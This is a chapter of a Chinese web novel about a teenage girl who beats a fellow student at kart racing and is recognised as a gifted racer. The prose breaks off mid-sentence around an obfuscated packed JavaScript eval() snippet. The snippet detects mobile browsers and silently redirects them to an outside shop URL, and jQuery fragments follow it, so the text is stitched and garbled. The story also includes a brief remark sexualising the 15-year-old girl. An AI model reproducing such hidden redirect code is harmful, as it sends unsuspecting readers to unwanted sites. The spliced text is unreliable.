18. 逐耳

作品:《逐耳

    钟迩穿着校服乖乖地跟在陆逾池的身后,看着熟悉的大门她深吸一口气。


    而陆逾池今天穿了一件黑色皮夹克,黑色牛仔裤,通体一身黑。


    头发乱七八糟的,跟被侵袭的鸟窝一样。


    走进赛车场时,门卫大爷敲了敲玻璃窗:“小子,这是从哪里拐来的小姑娘?”


    陆逾池白眼,同时将钟迩的书包接过甩到肩上:“不会说话就别说,人自愿跟着来的。”


    “小姑娘。””大爷笑眯眯道:“需不需要大爷帮你报警?”


    钟迩连连摇头,不至于吧?


    陆逾池长得也不像坏人呀。


    没过多久,陆逾池‘拐卖’小姑娘来这荒郊野岭的事情传遍了整个车场。


    好几个住在车队的职业车手都过来看热闹。


    有人吹着口哨调侃:“池哥现在改行当人口贩子了?”


    虽然陆逾池不及他们年纪大,但在这里车技为王,他被尊称一声哥。


    还有人说:“这妞拐的不错啊!”


    钟迩听不懂他们在说什么,但她善于观察,见到陆逾池幽怨的脸色,她就知道这不是什么好话。


    她暗暗将头低得更低,尽量降低存在感。


    陆逾池注视着这群‘混蛋’脸上的戏谑,他张了张嘴,但没说话,只是‘啧’一声。


    那群人秒懂,这哥们很横,不好惹的。


    但私底下却没少说。


    “走吧。”这话是陆逾池冲着钟迩说的。


    钟迩点头,在一群人的注视下离开了这个是非之地。


    气氛安静了三秒。


    他们刚走过去,门卫这边爆笑起来。


    Luis还挺护犊子。


    陆逾池把钟迩带到休息间,把书包轻放在椅子上,又从冰箱里拿出一瓶气泡水,贴心拧开瓶盖递给她。


    他示意钟迩坐下喝,小姑娘太拘束了,搞得他真像人贩子似的。


    钟迩饮了一口,这不是可乐,但跟可乐的口感雷同,喝进嘴里清清凉凉还很爽朗。


    “我们来这里做什么?”钟迩不懂就问,虽然这个地方她来过,但是目前所处的地方是陌生的,完全不跟卡丁车训练场地一样,透过窗外看向轨道,好像更宽一些。


    “玩一局?”


    “这种车吗?”钟迩指着F1赛事的车辆问道。


    陆逾池摇头:“卡丁车。”


    如果是F1赛车那她不行,没有练过会受伤的,但是卡丁车不一样,是她的主力车:“可以。”


    当然,陆逾池知道她的年纪,自然明白她目前还不能接触F1赛车。


    本着保护未成年的原则。


    但他为了证明心里的猜想,只能带她玩卡丁车试试。


    “陆逾池。”钟迩的声音很甜,每次喊他都会让他心跳停顿一下:“我为什么会得前三啊?”


    陆逾池挑眉:“赢了我就告诉你。”


    “好。”她应得干脆。


    陆逾池眼中全是惊喜,这小姑娘丝毫没有畏惧或是表现出愁容姿态,满脸很自信的模样。


    说明她……经常玩?


    两人刚起身,门外走进来一行人。


    “听说池哥带妞儿来了?”领头的是陈礼,还有F1赛事的总监辛锐以及陆逾池在这边训练时候的助理。


    看着这群恶狼,陆逾池下意识地把钟迩往后藏了藏:“这究竟是宣传大队还是训练场?怎么一个比一个大喇叭?我带人来有问题?”


    陈礼笑得很欠揍:“没问题没问题,池哥带人过来绝对没有问题,让哥们见见呗,这位不会就是沈付说的你们打赌的那位姑娘?”


    他视线落在钟迩露出来的半截身子上。


    “滚!”


    “得咧,池哥你要的车给你抢来了。”陈礼说话很溏:“兄弟们可是废了九牛二虎之力呢,老钱护车的样子跟你护这妞儿的模样简直是一样一样滴。”


    “……”陆逾池受不了他的调侃,差点抡起拳头。


    “别生气,哥们开玩笑。”


    好在陈礼知道见好就收。


    “走吧。”陆逾池侧脸对钟迩说。


    钟迩低着头,依旧想要降低存在感,她没看任何人,但路过他们时还是接受到了差点将她盯出洞来的目光。


    “这妞儿有点眼熟,我好像在哪里见过。”陈礼挠了挠后脑勺,仔细回想。


    辛锐笑道:“你看见美女都这样说。”


    “我说真的!”


    见他这次不像是开玩笑的样子,辛锐放下嘴角的笑意,看着她的背影,脑中一瞬间闪过某个画面:“你这样一说我也感觉好像在哪里见过她。”


    俩人相视一看,异口同声:“在哪儿?”


    然后默契摇头。


    钟迩被陆逾池带着去换衣间换好车服,换好后直接进了训练场。


    她看着那辆银色的卡丁车坐了上去,动作十分流畅。


    但她不知道的是,陆逾池从她进训练场就开始观察她。


    钟迩带头盔的时候遇到了麻烦,平时上车前都是秦越年帮她整理,现在她自己有点吃力。


    她昂着头一直扣不上卡扣,差点急出一身汗。


    陆逾池从车上下来,走到她车前蹲下,伸手接过她一直扣不上的卡扣。


    不过三秒钟就给弄好了。


    钟迩的脸不知道是被头盔挤的还是烧的,粉扑扑的模样,更像是一株粉嫩的新荷刚展露美好一样。


    她注视着陆逾池长长的、翘起的睫毛,以及下面那双被半遮半掩的桃花眼。


    再次发出感叹,这次她不自主地说了出来:“好好看。”


    “什么?”他单膝式蹲在她面前,抬头直接撞上类似‘猥亵’的眼神。


    钟迩被抓包,立刻挪开眼神,磕绊道:“快,快开始吧。”要是在不开始,她会被他的视线烫伤又或是冻裂。


    陆逾池起身,俯视她:“不要对哥有任何非分之想,小心到头来荡然一空。”


    钟迩听他这样说,咬了咬嘴唇,默默地点了点头。


    陆逾池的话好刺耳,她只是觉得他长得好看而已,但他的话好像把她甩了一样。


    心里格外失落,指甲掐进掌心,是很钝的痛,陆逾池不喜欢她,这冰冷的语气说明了一切。


    钟迩悄悄吸了一口气,空气除了赛道上散发的水泥味、车子散发的汽油味,还有他身上清冽的气息。


    可惜没有温度。


    最起码在这一瞬间是十分寒冷的。


    他帮完后利索起身,转身回到自己的车上。


    启动引擎的瞬间,排气筒发出低沉轰鸣,在裁判部的枪声打出那一瞬,两辆车‘噌’地不见了踪影。


    第一个弯道还算正常,休息室里的几人还在赞叹,钟迩那么瘦的骨架,却把车身控得稳如磐石。


    第二个弯道初见端倪。


    第三个弯道俩人的速度越来越快,刹车点踩在所有人意想不到的位置。


    休息室里盯着屏幕的几人没人再笑了。


    几人面面相视,这妞儿的速度竟比Luis还快?!


    而且!这控车控得也比Luis稳。


    要说俩人在赛场上像什么?


    Luis像猛虎,而钟迩像猎豹,是刚中带柔的母豹子。


    陈礼戴上放在胸前布兜里的眼镜,仔细看赛场上钟迩的表现,他有一种错觉,感觉她行车的样子特别像老钱的得意弟子Rachel。


    他现在很后悔当时没有戴眼镜,不然Rachel在他眼中也许不是洋娃娃。


    这可是练车的好苗子。


    钟迩驾驶的银色卡丁车率先冲过终点线,轮胎在地面擦出短促锐响。


    陆逾池紧跟其后,俩人速度左右不过相差三秒钟。


    他在第二个弯道时便被钟迩的速度也好,稳健也好,猛猛地怔住了。


    这是没怎么练过的人?


    以至于后面他心思完全不在赛场上,想起来冲刺的时候却怎么也赶不上了。


    钟迩下车摘掉手套,又开始摘卡扣。


    头盔摘下的瞬间,飘逸的长发随之在空中飞扬。


    陆逾池的视线被狠狠地定在了她的身上。


    心跳直接乱了套。


    钟迩好像比Rachel还厉害。


    “去休息室。”陆逾池将头盔扔给旁边的助理,冷漠地说。


    钟迩抱着头盔跟着他,路过助理时,怀里的东西被他拿走了。


    她礼貌道谢。


    一进门,里面传来阵阵掌声。


    “你好,我是这里的教练,你有意向跟着我学车吗?”陈礼推开陆逾池来到钟迩面前,一副点头哈腰的样子,他实在不想放过这个好苗子。


    陆逾池:“……”


    钟迩摇头:“我还不到年纪。”


    陈礼一怔,她跟Luis是同学,难道不是十八岁?


    “你多大?”


    “十五岁。”


    陈礼眼皮差点没翻过来。


    十五岁上高三?


    他木讷地看向陆逾池。


    陆逾池耸了耸肩,他也很意外。


    “可以先练着,我亲自教你。”陈礼还是不想放弃这个好苗子,心思先把人留下再说。


    钟迩还没等说话,门就被大咧咧地踹开:“你教个屁,赶紧把车给我原封不动的送回去!”


    “老钱,你真小气,不就是用一下吗?我今天要是没去开你的车,还见识不到这么好的车手苗子。”


    钱锋推开他:“搞什么死出,前段时间我就倚了下你的车,差点没被你用唾沫星子淹死。”


    “你别记仇,都是一家人。”


    “谁跟你是一家人?”


    ……


    两位教练你一句我一句吵得不可开交,尤其是钱锋,怨气很大。


    这个时候钟迩的思绪已经飘走了。


    她在想陆逾池为什么会觉得她会对他有非分之想,她的表现很明显吗?


    真搞不懂。


    陈礼把钱锋拉到钟迩面前,顺便告诉他刚才赛车的情况。


    钱锋看到钟迩后,眼神一亮:“Rachel?你怎么来了?越年和你一起来的?”


    “Rachel!”


    “她是Rachel?!”


    屋内的几人异口同声,眼珠子都快要掉出来了。


    陆逾池证明了自己猜想,钟迩果然就是视频里的蕾切尔。


    上次在电玩城比完赛以及她对赛车的认识,当时他就起疑,如果她只是简简单单的玩家,怎么可能会做那么专业的动作?


    还有更巧的是,她也叫蕾切尔。


    这个世界上哪有那么多的巧事,除非她就是蕾切尔本人。


    所以,他真相了。


    此时此刻,陆逾池很平静。


    钟迩被喊,懵懂地抬起头:“你是?”


    钱锋差点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098510|194998||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一口老血喷出来:“你的教练。”怕她没印象,他比划着:“经常拿着蓝色硅胶小手指来指去的那个人。”


    这么一说钟迩想起来了。


    “你好。”


    “……”


    陈礼等人哈哈大笑:“老钱,你这辈子白活了,得意大弟子都不认识你。”


    钱锋有点尴尬:“我们Rachel腼腆,你们不准吓到她。”


    “行行行。”


    钟迩沉默。


    她腼腆吗?


    刚才她还花痴说陆逾池长得好看来着。


    想到这里,钟迩仿佛带上了痛苦面具。


    但比起陆逾池的冷言冷语,这群人好像更可怕一些,她下意识地往陆逾池身边靠。


    可她还没有开始挪动,就被钱锋喊住。


    “Rachel正好你来了,我直接告诉你吧。”钱锋一副颁布大事的样子:“周末有场卡丁车比赛,跟隔壁市比,若是赢了就有机会去跟京市的车队比赛甚至是可以参加国际比赛,这两天你好好准备准备。”


    还有两天。


    钱锋从秦越年那里知道钟迩和家里人的情况,他对她有信心,所以临时通知也行。


    钟迩犹豫道:“我…还得准备月考。”


    “你的意思是不参加这次比赛?”钱锋着急道:“事关我市和车队的荣誉,而且咱们队里属你最强,能不能再考虑考虑?”


    大概率不行。


    先不说她有没有精力去练车了,秦淑华快回来了,她属实不敢。


    钟迩眼光黯淡下去。


    钱锋不想让她放弃:“你回去再考虑考虑,让你舅舅给我回信好不好?”


    她没有说话,除了钱锋外其他人也帮着说话,都是一个基地训练的,那就是大家的荣耀。


    他们说左一句右一句,钟迩还是无动于衷,只是小姑娘肉眼可见的露出哭容。


    一群男人傻了眼,刚想哄一下,默默退到旁边、哦不,是被挤到旁边的陆逾池震慑住他们。


    “有完没完,人是我带来的,谁敢把她弄哭,我今天就让他哭个够。”


    休息室瞬间鸦雀无声。


    他当着所有人的面拉着快要哭出来的小姑娘离开了休息室。


    钱锋往前跟了几步:“你家大魔王怎么勾搭上我家乖乖小白兔了?”


    他有一种自家白菜被别人家的臭猪给拱了一样的心境。


    陈礼摊了摊手:“我本来还想把Rachel介绍给他,谁知道人家自己先勾搭上了。”


    “你别说,竟有点子般配。”


    “想法雷同。”


    他们击了个掌,俩人哥俩好抱在一起完全看不出来刚才大吵的俩货是他们。


    又好像承认对方是自己的亲家似的。


    -


    陆逾池直勾勾地盯着钟迩,那眼神好像要把她看穿。


    Rachel是吧?


    刚才还赢了他,已经很久没有人能让他又哭又笑了。


    还是位未成年的小屁孩。


    “陆逾池我不是故意赢你的。”钟迩以为他输了要找她算账,毕竟那么多人看着,他怎么能输给女生。


    “呵。”陆逾池被整笑:“什么意思?”


    钟迩不说假话:“是你太慢了。”


    “……”


    陆逾池头上一群乌鸦闪过。


    小孩的说话思维这么没有逻辑吗?


    她哪里看出来他在意这场输赢了?


    “你不是说你没怎么练过吗?”


    钟迩点头:“我是没怎么练过啊,总是隔好久才来一次。”


    “可不像,小孩子不要撒谎。”


    钟迩生气道:“我没有!”她瞪着陆逾池:“我不是小孩子了。”


    呃……她又好认真的样子。


    陆逾池发现这小孩开不起玩笑。


    “小朋友,那你怎么会那么多技巧啊?”


    他不叫小孩,叫小朋友总行吧?


    钟迩的重点根本不在他所说的技巧上,听到小字她又炸毛:“我不小!”


    陆逾池一怔,眼睛往不该看的地方扫了眼,小声嘟囔:“是不小。”


    他轻咳一声。


    小朋友年纪不大,发育的倒是不错。


    钟迩见他不说话,意识到自己说话的语气不太好,软和下来:“陆逾池,你还没告诉我为什么会得前三?”


    陆逾池眯眼挑眉,他都险些忘记这件事了,她的记性倒是好:“请我喝可乐就告诉你。”


    钟迩瘪嘴,酝酿眼泪:“你骗我,你说好比完就告诉我。”


    她很难过,陆逾池把她当小孩看也就算了,不喜欢她也就算了,怎么能骗她?


    陆逾池瞬间懵逼了,他不过是在跟她开个玩笑,她怎么就要哭了!


    他急忙说:“前面的人大多数都踩线了,只要你不踩就能得前三。”


    钟迩恍然大悟,原来是这样,幸亏她规规矩矩,不然也会被pass掉。


    “那个……你参加比赛吗?”


    陆逾池有私心,如果钟迩参加且赢了的话,他们就可以一起去京市参加比赛。


    有她在的话,途中应该不会太无聊。


    钟迩摇摇头,她不知道,得回去跟秦越年商量商量。


    陆逾池有些失落,他本想开口说服她,但她的思维转变地太快,瞬间让他应接不暇。


    “陆逾池,你和沈付拿我赌什么呀?”